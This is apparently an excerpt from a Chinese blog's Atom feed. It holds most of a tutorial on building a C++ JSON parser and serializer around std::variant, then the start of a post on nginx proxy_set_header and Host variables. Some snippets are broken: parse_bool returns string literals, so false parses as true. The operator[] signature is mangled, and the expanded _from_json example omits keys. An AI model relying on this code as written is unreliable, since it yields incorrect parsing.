&lt;li&gt;dict类型对应C++中的map或unordered_map&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们在计算机语言中，需要构造一个对象类型，用于将以上类型全部涵盖。&lt;&#x2F;p&gt;
&lt;p&gt;在C++中我们通过std::variant来进行，还需要一个枚举tag来表示当前对象内存储的数据类型。&lt;&#x2F;p&gt;
&lt;p&gt;当然如果做的更绝的话，可以通过一个void* + 申请堆内存来解决，然后再强转为对应类型来操作。&lt;&#x2F;p&gt;
&lt;p&gt;对应的代码如下：（中间的类方法就暂时省略了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;
enum TYPE
{
    T_NULL,
    T_BOOL,
    T_INT,
    T_DOUBLE,
    T_STR,
    T_LIST,
    T_DICT
};

using null_t = string;
using int_t = int32_t;
using bool_t = bool;
using double_t = double;
using str_t = string;
using list_t = vector&amp;lt;JObject&amp;gt;;
using dict_t = map&amp;lt;string, JObject&amp;gt;;

class JObject
{
public:
    using value_t = variant&amp;lt;bool_t, int_t, double_t, str_t, list_t, dict_t&amp;gt;;
    ...
private:
    TYPE m_type;
    value_t m_value;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;chuang-jian-parserlei&quot;&gt;创建Parser类&lt;&#x2F;h3&gt;
&lt;p&gt;我们有了JObject，可以把所有的JSON数据接收起来，现在要做的就是扫描JSON字符串，对其中的数据进行读取处理，然后转化为JObject。&lt;&#x2F;p&gt;
&lt;p&gt;关键代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject Parser::parse()
{
    char token = get_next_token();
    if (token == &amp;#x27;n&amp;#x27;)
    {
        return parse_null();
    }
    if (token == &amp;#x27;t&amp;#x27; || token == &amp;#x27;f&amp;#x27;)
    {
        return parse_bool();
    }
    if (token == &amp;#x27;-&amp;#x27; || std::isdigit(token))
    {
        return parse_number();
    }
    if (token == &amp;#x27;\&amp;quot;&amp;#x27;)
    {
        return parse_string();
    }
    if (token == &amp;#x27;[&amp;#x27;)
    {
        return parse_list();
    }
    if (token == &amp;#x27;{&amp;#x27;)
    {
        return parse_dict();
    }

    throw std::logic_error(&amp;quot;unexpected character in parse json&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;以上就是整个字符串的解析过程，每次通过get_next_token这个方法得到整个字符串的下一个token，根据token决定解析对应的数据类型。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;get-next-tokenfang-fa&quot;&gt;get_next_token方法&lt;&#x2F;h4&gt;
&lt;p&gt;跳过空白符号，以及跳过注释（标准的JSON格式不支持注释，我这里硬加的，为了vscode的JSON格式配置文件解析&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;char Parser::get_next_token()
{
    while (std::isspace(m_str[m_idx])) m_idx++;
    if (m_idx &amp;gt;= m_str.size())
        throw std::logic_error(&amp;quot;unexpected character in parse json&amp;quot;);
    &amp;#x2F;&amp;#x2F;如果是注释，记得跳过
    skip_comment();
    return m_str[m_idx];
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;parse-nullhe-parse-bool&quot;&gt;parse_null和parse_bool&lt;&#x2F;h4&gt;
&lt;p&gt;由于这两个很简单，就放在一起了。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;parse_null&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject Parser::parse_null()
{
    if (m_str.compare(m_idx, 4, &amp;quot;null&amp;quot;) == 0)
    {
        m_idx += 4;
        return {};
    }
    throw std::logic_error(&amp;quot;parse null error&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;parse_bool&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;bool Parser::parse_bool()
{
    if (m_str.compare(m_idx, 4, &amp;quot;true&amp;quot;) == 0)
    {
        m_idx += 4;
        return &amp;quot;true&amp;quot;;
    }
    if (m_str.compare(m_idx, 5, &amp;quot;false&amp;quot;) == 0)
    {
        m_idx += 5;
        return &amp;quot;false&amp;quot;;
    }
    throw std::logic_error(&amp;quot;parse bool error&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;parse-number&quot;&gt;parse_number&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject Parser::parse_number()
{
    auto pos = m_idx;
    &amp;#x2F;&amp;#x2F;integer part
    if (m_str[m_idx] == &amp;#x27;-&amp;#x27;)
    {
        m_idx++;
    }
    if (isdigit(m_str[m_idx]))
        while (isdigit(m_str[m_idx]))
            m_idx++;
    else
    {
        throw std::logic_error(&amp;quot;invalid character in number&amp;quot;);
    }

    if (m_str[m_idx] != &amp;#x27;.&amp;#x27;)
    {
        return (int) strtol(m_str.c_str() + pos, nullptr, 10);
    }

    &amp;#x2F;&amp;#x2F;decimal part
    if (m_str[m_idx] == &amp;#x27;.&amp;#x27;)
    {
        m_idx++;
        if (!std::isdigit(m_str[m_idx]))
        {
            throw std::logic_error(&amp;quot;at least one digit required in parse float part!&amp;quot;);
        }
        while (std::isdigit(m_str[m_idx]))
            m_idx++;
    }
    return strtof64(m_str.c_str() + pos, nullptr);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;parse-list&quot;&gt;parse_list&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject Parser::parse_list()
{
    JObject arr((list_t()));&amp;#x2F;&amp;#x2F;得到list类型的JObject
    m_idx++;
    char ch = get_next_token();
    if (ch == &amp;#x27;]&amp;#x27;)
    {
        m_idx++;
        return arr;
    }

    while (true)
    {
        arr.push_back(parse());
        ch = get_next_token();
        if (ch == &amp;#x27;]&amp;#x27;)
        {
            m_idx++;
            break;
        }

        if (ch != &amp;#x27;,&amp;#x27;) &amp;#x2F;&amp;#x2F;如果不是逗号
        {
            throw std::logic_error(&amp;quot;expected &amp;#x27;,&amp;#x27; in parse list&amp;quot;);
        }
        &amp;#x2F;&amp;#x2F;跳过逗号
        m_idx++;
    }
    return arr;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;parse-dict&quot;&gt;parse_dict&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject Parser::parse_dict()
{
    JObject dict((dict_t()));&amp;#x2F;&amp;#x2F;得到dict类型的JObject
    m_idx++;
    char ch = get_next_token();
    if (ch == &amp;#x27;}&amp;#x27;)
    {
        m_idx++;
        return dict;
    }
    while (true)
    {
        &amp;#x2F;&amp;#x2F;解析key
        string key = std::move(parse().Value&amp;lt;string&amp;gt;());
        ch = get_next_token();
        if (ch != &amp;#x27;:&amp;#x27;)
        {
            throw std::logic_error(&amp;quot;expected &amp;#x27;:&amp;#x27; in parse dict&amp;quot;);
        }
        m_idx++;

        &amp;#x2F;&amp;#x2F;解析value
        dict[key] = parse();
        ch = get_next_token();
        if (ch == &amp;#x27;}&amp;#x27;)
        {
            m_idx++;
            break; &amp;#x2F;&amp;#x2F;解析完毕
        }
        if (ch != &amp;#x27;,&amp;#x27;)&amp;#x2F;&amp;#x2F;没有结束，此时必须为逗号
        {
            throw std::logic_error(&amp;quot;expected &amp;#x27;,&amp;#x27; in parse dict&amp;quot;);
        }
        &amp;#x2F;&amp;#x2F;跳过逗号
        m_idx++;
    }
    return dict;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wan-shan-jobjectlei&quot;&gt;完善JObject类&lt;&#x2F;h2&gt;
&lt;p&gt;很明显，我们需要为JObject类提供一个方法，此方法可以让调用者直接访问到std::variant里面对应的数据，并且我们也需要提供一个方法能让JObject快速初始化为对应的类型。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chu-shi-hua-jie-kou&quot;&gt;初始化接口&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;添加好下面这些方法后，外界可通过调用方法把JObject的内部状态改变。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;void Null()
{
    m_type = T_NULL;
    m_value = &amp;quot;null&amp;quot;;
}

void Int(int_t value)
{
    m_value = value;
    m_type = T_INT;
}

void Bool(bool_t value)
{
    m_value = value;
    m_type = T_BOOL;
}

void Double(double_t value)
{
    m_type = T_DOUBLE;
    m_value = value;
}

void Str(string_view value)
{
    m_value = string(value);
    m_type = T_STR;
}

void List(list_t value)
{
    m_value = std::move(value);
    m_type = T_LIST;
}

void Dict(dict_t value)
{
    m_value = std::move(value);
    m_type = T_DICT;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;为了方便平时的赋值时候的隐式转化，我们应该再添加对应的构造函数，如下：（隐式转化在C++里有个坑，只能为类提供一种方向的隐式转化，比如提供了int把转为JObject的隐式转化后，就不能再提供把JObject转为int的隐式转化了，这两种必须要有一个是explicit，否则报错&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject()&amp;#x2F;&amp;#x2F;默认为null类型
{
    m_type = T_NULL;
    m_value = &amp;quot;null&amp;quot;;
}

JObject(int_t value)
{
    Int(value);
}

JObject(bool_t value)
{
    Bool(value);
}

JObject(double_t value)
{
    Double(value);
}

JObject(str_t const &amp;amp;value)
{
    Str(value);
}

JObject(list_t value)
{
    List(std::move(value));
}

JObject(dict_t value)
{
    Dict(std::move(value));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;qing-qiu-zhi-jie-kou&quot;&gt;请求值接口&lt;&#x2F;h3&gt;
&lt;p&gt;设计思路：本人不喜欢一大堆的get&#x2F;set，那样真的是麻烦。我通过提供一个Value方法，该方法为泛型，其内部有调用value()方法得到对应的数据指针，而Value方法则负责将指针强转，其内部也实现了强大的错误处理，防止处理指针的意外宕机。。。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;value方法如下，用于调用get_if得到对应的数据指针，关于怎么获取std::variant的数据，有get和get_if两种方式，get得到的是对象的引用，如果获取不到，则抛出异常，get_if获取对象的指针，如果获取不到则返回nullptr。我选择使用get_if的原因是，这个异常的处理可以由你自己来设定提示，而不是对着底层的get提示而摸不着头脑。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;void *JObject::value()
{
    switch (m_type)
    {
        case T_NULL:
            return get_if&amp;lt;str_t&amp;gt;(&amp;amp;m_value);
        case T_BOOL:
            return get_if&amp;lt;bool_t&amp;gt;(&amp;amp;m_value);
        case T_INT:
            return get_if&amp;lt;int_t&amp;gt;(&amp;amp;m_value);
        case T_DOUBLE:
            return get_if&amp;lt;double_t&amp;gt;(&amp;amp;m_value);
        case T_LIST:
            return get_if&amp;lt;list_t&amp;gt;(&amp;amp;m_value);
        case T_DICT:
            return get_if&amp;lt;dict_t&amp;gt;(&amp;amp;m_value);
        case T_STR:
            return std::get_if&amp;lt;str_t&amp;gt;(&amp;amp;m_value);
        default:
            return nullptr;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Value方法：&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#define THROW_GET_ERROR(erron) throw std::logic_error(&amp;quot;type error in get &amp;quot;#erron&amp;quot; value!&amp;quot;)

template&amp;lt;class V&amp;gt;
    V &amp;amp;Value()
{
    &amp;#x2F;&amp;#x2F;添加安全检查
    if constexpr(IS_TYPE(V, str_t))
    {
        if (m_type != T_STR)
            THROW_GET_ERROR(string);
    } else if constexpr(IS_TYPE(V, bool_t))
    {
        if (m_type != T_BOOL)
            THROW_GET_ERROR(BOOL);
    } else if constexpr(IS_TYPE(V, int_t))
    {
        if (m_type != T_INT)
            THROW_GET_ERROR(INT);
    } else if constexpr(IS_TYPE(V, double_t))
    {
        if (m_type != T_DOUBLE)
            THROW_GET_ERROR(DOUBLE);
    } else if constexpr(IS_TYPE(V, list_t))
    {
        if (m_type != T_LIST)
            THROW_GET_ERROR(LIST);
    } else if constexpr(IS_TYPE(V, dict_t))
    {
        if (m_type != T_DICT)
            THROW_GET_ERROR(DICT);
    }

    void *v = value();
    if (v == nullptr)
        throw std::logic_error(&amp;quot;unknown type in JObject::Value()&amp;quot;);
    return *((V *) v); &amp;#x2F;&amp;#x2F;强转即可
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zhong-zai-fang-fa-rang-dui-xiang-geng-hao-yong&quot;&gt;重载方法让对象更好用&lt;&#x2F;h3&gt;
&lt;p&gt;当JObject为dict类型时，我们可以直接用下标运算符进行key-value的赋值（得益于隐式转化和运算符重载&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject &amp;amp;operatorstring const &amp;amp;key
{
    if (m_type == T_DICT)
    {
        auto &amp;amp;dict = Value&amp;lt;dict_t&amp;gt;();
        return dict[key];
    }
    throw std::logic_error(&amp;quot;not dict type! JObject::opertor[]()&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同样如果为list对象，我们也准备了push_back等方法&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;void push_back(JObject item)
{
    if (m_type == T_LIST)
    {
        auto &amp;amp;list = Value&amp;lt;list_t&amp;gt;();
        list.push_back(std::move(item));
        return;
    }
    throw std::logic_error(&amp;quot;not a list type! JObjcct::push_back()&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然，为了让类更好用，你也可以重载很多其他方法，但是注意别忘了类型的安全检查！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wan-shan-parserlei&quot;&gt;完善Parser类&lt;&#x2F;h2&gt;
&lt;p&gt;我们之前是完成了整个字符串到JObject的解析过程，但是每次都需要创建一个Parser类，然后调用方法，这样的过程未免有些繁琐，我们可以对外提供FromString的静态方法，然后充分利用一个对象便可完成整个解析过程。&lt;&#x2F;p&gt;
&lt;p&gt;如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;JObject Parser::FromString(string_view content)
{
    static Parser instance;
    instance.init(content);
    return instance.parse();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wan-cheng-xu-lie-hua-he-fan-xu-lie-hua-guo-cheng&quot;&gt;完成序列化和反序列化过程&lt;&#x2F;h2&gt;
&lt;p&gt;我们前面所做的工作其实已经把这个过程相当于完成了，当然还差一个把JObject变为JSON字符串的方法，现在添加上就是，也不是很难，按照相似的逻辑反推一遍就行。如下给JObject添加一个to_string方法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;string JObject::to_string()
{
    void *value = this-&amp;gt;value();
    std::ostringstream os;
    switch (m_type)
    {
        case T_NULL:
            os &amp;lt;&amp;lt; &amp;quot;null&amp;quot;;
            break;
        case T_BOOL:
            if (GET_VALUE(bool))
                os &amp;lt;&amp;lt; &amp;quot;true&amp;quot;;
            else os &amp;lt;&amp;lt; &amp;quot;false&amp;quot;;
            break;
        case T_INT:
            os &amp;lt;&amp;lt; GET_VALUE(int);
            break;
        case T_DOUBLE:
            os &amp;lt;&amp;lt; GET_VALUE(double);
            break;
        case T_STR:
            os &amp;lt;&amp;lt; &amp;#x27;\&amp;quot;&amp;#x27; &amp;lt;&amp;lt; GET_VALUE(string) &amp;lt;&amp;lt; &amp;#x27;\&amp;quot;&amp;#x27;;
            break;
        case T_LIST:
        {
            list_t &amp;amp;list = GET_VALUE(list_t);
            os &amp;lt;&amp;lt; &amp;#x27;[&amp;#x27;;
            for (auto i = 0; i &amp;lt; list.size(); i++)
            {
                if (i != list.size() - 1)
                {
                    os &amp;lt;&amp;lt; ((list[i]).to_string());
                    os &amp;lt;&amp;lt; &amp;#x27;,&amp;#x27;;
                } else os &amp;lt;&amp;lt; ((list[i]).to_string());
            }
            os &amp;lt;&amp;lt; &amp;#x27;]&amp;#x27;;
            break;
        }
        case T_DICT:
        {
            dict_t &amp;amp;dict = GET_VALUE(dict_t);
            os &amp;lt;&amp;lt; &amp;#x27;{&amp;#x27;;
            for (auto it = dict.begin(); it != dict.end(); ++it)
            {
                if (it != dict.begin()) &amp;#x2F;&amp;#x2F;为了保证最后的json格式正确
                    os &amp;lt;&amp;lt; &amp;#x27;,&amp;#x27;;
                os &amp;lt;&amp;lt; &amp;#x27;\&amp;quot;&amp;#x27; &amp;lt;&amp;lt; it-&amp;gt;first &amp;lt;&amp;lt; &amp;quot;\&amp;quot;:&amp;quot; &amp;lt;&amp;lt; it-&amp;gt;second.to_string();
            }
            os &amp;lt;&amp;lt; &amp;#x27;}&amp;#x27;;
            break;
        }
        default:
            return &amp;quot;&amp;quot;;
    }
    return os.str();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有关JObject的方法也都补充的差不多了，那么我们现在要考虑的是如何通过JObject这个中间对象将我们自定义的任何一个类给序列化和反序列化？&lt;&#x2F;p&gt;
&lt;p&gt;如图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-parser&#x2F;cpp-json-parser-flow.webp&quot; alt=&quot;绘图1.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所有的序列化和反序列化的过程都依托于JObject进行。而Parser这个类在中间作为一个方便使用的对外接口。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xu-lie-hua-jie-kou-she-ji&quot;&gt;序列化接口设计&lt;&#x2F;h3&gt;
&lt;p&gt;在Parser类中添加一个ToJSON的静态方法，用来对任意类型进行序列化，这个方法使用模板。&lt;&#x2F;p&gt;
&lt;p&gt;代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template&amp;lt;class T&amp;gt;
    static string ToJSON(T const &amp;amp;src)
{
    &amp;#x2F;&amp;#x2F;如果是基本类型
    if constexpr(IS_TYPE(T, int_t))
    {
        JObject object(src);
        return object.to_string();
    } else if constexpr(IS_TYPE(T, bool_t))
    {
        JObject object(src);
        return object.to_string();
    } else if constexpr(IS_TYPE(T, double_t))
    {
        JObject object(src);
        return object.to_string();
    } else if constexpr(IS_TYPE(T, str_t))
    {
        JObject object(src);
        return object.to_string();
    }
    &amp;#x2F;&amp;#x2F;如果是自定义类型调用方法完成dict的赋值，然后to_string即可
    json::JObject obj((json::dict_t()));
    src.FUNC_TO_NAME(obj);
    return obj.to_string();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;如上代码如果是基本类型则直接初始化JObject调用to_string方法，如果是自定义类型，则需要在该类型中嵌入一个方法，这个方法名字我们用FUNC_TO_NAME这个宏代替。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;也就是说，如果是自定义的类型，那么肯定就是对应JSON数据的dict类型，所以只需要你对该类型定义对应的方法，该方法需要将值传递给JObject，为了简化这个过程我们用宏来替代。&lt;&#x2F;p&gt;
&lt;p&gt;宏定义如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#define FUNC_TO_NAME _to_json
#define FUNC_FROM_NAME _from_json

#define START_TO_JSON void FUNC_TO_NAME(json::JObject &amp;amp; obj) const{
#define to(key) obj[key]
    &amp;#x2F;&amp;#x2F;push一个自定义类型的成员
#define to_struct(key, struct_member) json::JObject tmp((json::dict_t())); struct_member.FUNC_TO_NAME(tmp); obj[key] = tmp
#define END_TO_JSON  }

#define START_FROM_JSON void FUNC_FROM_NAME(json::JObject&amp;amp; obj) {
#define from(key, type) obj[key].Value&amp;lt;type&amp;gt;()
#define from_struct(key, struct_member) struct_member.FUNC_FROM_NAME(obj[key])
#define END_FROM_JSON }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;基本使用如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct Base
{
    int pp;
    string qq;

    START_FROM_JSON &amp;#x2F;&amp;#x2F;生成反序列化相关的方法
        pp = from(&amp;quot;pp&amp;quot;, int);
        qq = from(&amp;quot;qq&amp;quot;, string);
    END_FROM_JSON

    START_TO_JSON &amp;#x2F;&amp;#x2F;生成序列化相关的代码
        to(&amp;quot;pp&amp;quot;) = pp;
        to(&amp;quot;qq&amp;quot;) = qq;
    END_TO_JSON
};

struct Mytest
{
    int id;
    std::string name;
    Base q;

    START_TO_JSON	&amp;#x2F;&amp;#x2F;序列化相关代码
        to_struct(&amp;quot;base&amp;quot;, q);
        to(&amp;quot;id&amp;quot;) = id;
        to(&amp;quot;name&amp;quot;) = name;
    END_TO_JSON

    START_FROM_JSON &amp;#x2F;&amp;#x2F;反序列化相关代码
        id = from(&amp;quot;id&amp;quot;, int);
        name = from(&amp;quot;name&amp;quot;, string);
        from_struct(&amp;quot;base&amp;quot;, q);
    END_FROM_JSON
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实际上上面代码等效于下面的代码，以Base类为例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct Base
{
    int pp;
    string qq;

    void _from_json(json::JObject&amp;amp; obj){ &amp;#x2F;&amp;#x2F;反序列化
        pp = obj.Value&amp;lt;int&amp;gt;();
        qq = obj.Value&amp;lt;string&amp;gt;();
    }

    void _to_json(json::JObject&amp;amp; obj){&amp;#x2F;&amp;#x2F;序列化代码
        obj[&amp;quot;pp&amp;quot;] = pp;
        obj[&amp;quot;qq&amp;quot;] = qq;
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jian-dan-shi-yong&quot;&gt;简单使用&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include&amp;lt;iostream&amp;gt;
#include &amp;quot;JObject.h&amp;quot;
#include &amp;quot;Parser.h&amp;quot;
#include &amp;lt;fstream&amp;gt;
#include &amp;quot;..&amp;#x2F;benchmark&amp;#x2F;Timer.hpp&amp;quot;

using namespace json;

struct Base
{
    int pp;
    string qq;

    START_FROM_JSON
        pp = from(&amp;quot;pp&amp;quot;, int);
        qq = from(&amp;quot;qq&amp;quot;, string);
    END_FROM_JSON

    START_TO_JSON
        to(&amp;quot;pp&amp;quot;) = pp;
        to(&amp;quot;qq&amp;quot;) = qq;
    END_TO_JSON
};

struct Mytest
{
    int id;
    std::string name;
    Base q;

    START_TO_JSON
        to_struct(&amp;quot;base&amp;quot;, q);
        to(&amp;quot;id&amp;quot;) = id;
        to(&amp;quot;name&amp;quot;) = name;
    END_TO_JSON

    START_FROM_JSON
        id = from(&amp;quot;id&amp;quot;, int);
        name = from(&amp;quot;name&amp;quot;, string);
        from_struct(&amp;quot;base&amp;quot;, q);
    END_FROM_JSON
};

void test_class_serialization()
{
    Mytest test{.id=32, .name=&amp;quot;fda&amp;quot;};
    auto item = Parser::FromJson&amp;lt;Mytest&amp;gt;(R&amp;quot;({&amp;quot;base&amp;quot;:{&amp;quot;pp&amp;quot;:0,&amp;quot;qq&amp;quot;:&amp;quot;&amp;quot;},&amp;quot;id&amp;quot;:32,&amp;quot;name&amp;quot;:&amp;quot;fda&amp;quot;} )&amp;quot;); &amp;#x2F;&amp;#x2F;serialization
    std::cout &amp;lt;&amp;lt; Parser::ToJSON(item); &amp;#x2F;&amp;#x2F;deserialization
}

void test_string_parser()
{
    {
        Timer t;
        std::ifstream fin(&amp;quot;..&amp;#x2F;..&amp;#x2F;test_source&amp;#x2F;test.json&amp;quot;);
        std::string text((std::istreambuf_iterator&amp;lt;char&amp;gt;(fin)), std::istreambuf_iterator&amp;lt;char&amp;gt;());
        json::Parser p;
        p.init(text);
        auto q = p.parse();
        std::ofstream fout(&amp;quot;..&amp;#x2F;..&amp;#x2F;test_source&amp;#x2F;test_out.json&amp;quot;);
        fout &amp;lt;&amp;lt; q.to_string();
    }
}

int main()
{
   test_class_serialization();
   test_string_parser();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>nginx中proxy_set_header Host $host的作用及$proxy_host，$host与$http_host的区别</title>
        <published>2024-01-01T00:00:00+00:00</published>
        <updated>2024-01-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/nginx中proxy_set_header-host-host的作用及-proxy_host-host与-http_host的区别/"/>
        <id>https://vercel.juzhong.asia/obsidian/nginx中proxy_set_header-host-host的作用及-proxy_host-host与-http_host的区别/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/nginx中proxy_set_header-host-host的作用及-proxy_host-host与-http_host的区别/">&lt;h1 id=&quot;nginxzhong-proxy-set-header-host-hostde-zuo-yong-ji-proxy-host-hostyu-http-hostde-qu-bie&quot;&gt;nginx中proxy_set_header Host $host的作用及$proxy_host，$host与$http_host的区别&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;yi-nginxzhong-proxy-set-header-host-hostde-zuo-yong&quot;&gt;一、nginx中proxy_set_header Host $host的作用&lt;&#x2F;h3&gt;
&lt;p&gt;　　nginx为了实现反向代理的需求而增加了一个ngx_http_proxy_module模块。其中proxy_set_header指令就是该模块需要读取的配置文件。在这里，所有设置的值的含义和http请求体中的含义完全相同，除了Host外还有X-Forward-For。&lt;&#x2F;p&gt;
&lt;p&gt;　　Host的含义是表明请求的主机名，因为nginx作为反向代理使用，而如果后端真实服务器设置有类似防盗链或者根据http请求头中的host字段来进行路由或判断功能的话，如果反向代理层的nginx不重写请求头中的host字段，将会导致请求失败【默认反向代理服务器会向后端真实服务器发送请求，并且请求头中的host字段应为proxy_pass指令设置的服务器】&lt;&#x2F;p&gt;
&lt;p&gt;　　同理，X_Forward_For字段表示该条http请求是由谁发起的？如果反向代理服务器不重写该请求头的话，那么后端真实服务器在处理时会认为所有的请求都来在反向代理服务器，如果后端有防攻击策略的话，那么机器就被封掉了。因此，在配置用作反向代理的nginx中一般会增加两条配置，修改http的请求头。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;proxy_set_header Host $http_host;
proxy_set_header X-Forward-For $remote_addr;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;　　这里的$http_host和$remote_addr都是nginx的导出变量，可以在配置文件中直接使用。如果Host请求头部没有出现在请求头中，则$http_host值为空，但是$host值为主域名。因此，一般而言，会用$host代替$http_host变量，从而避免http请求中丢失Host头部的情况下Host不被重写的失误。&lt;&#x2F;p&gt;
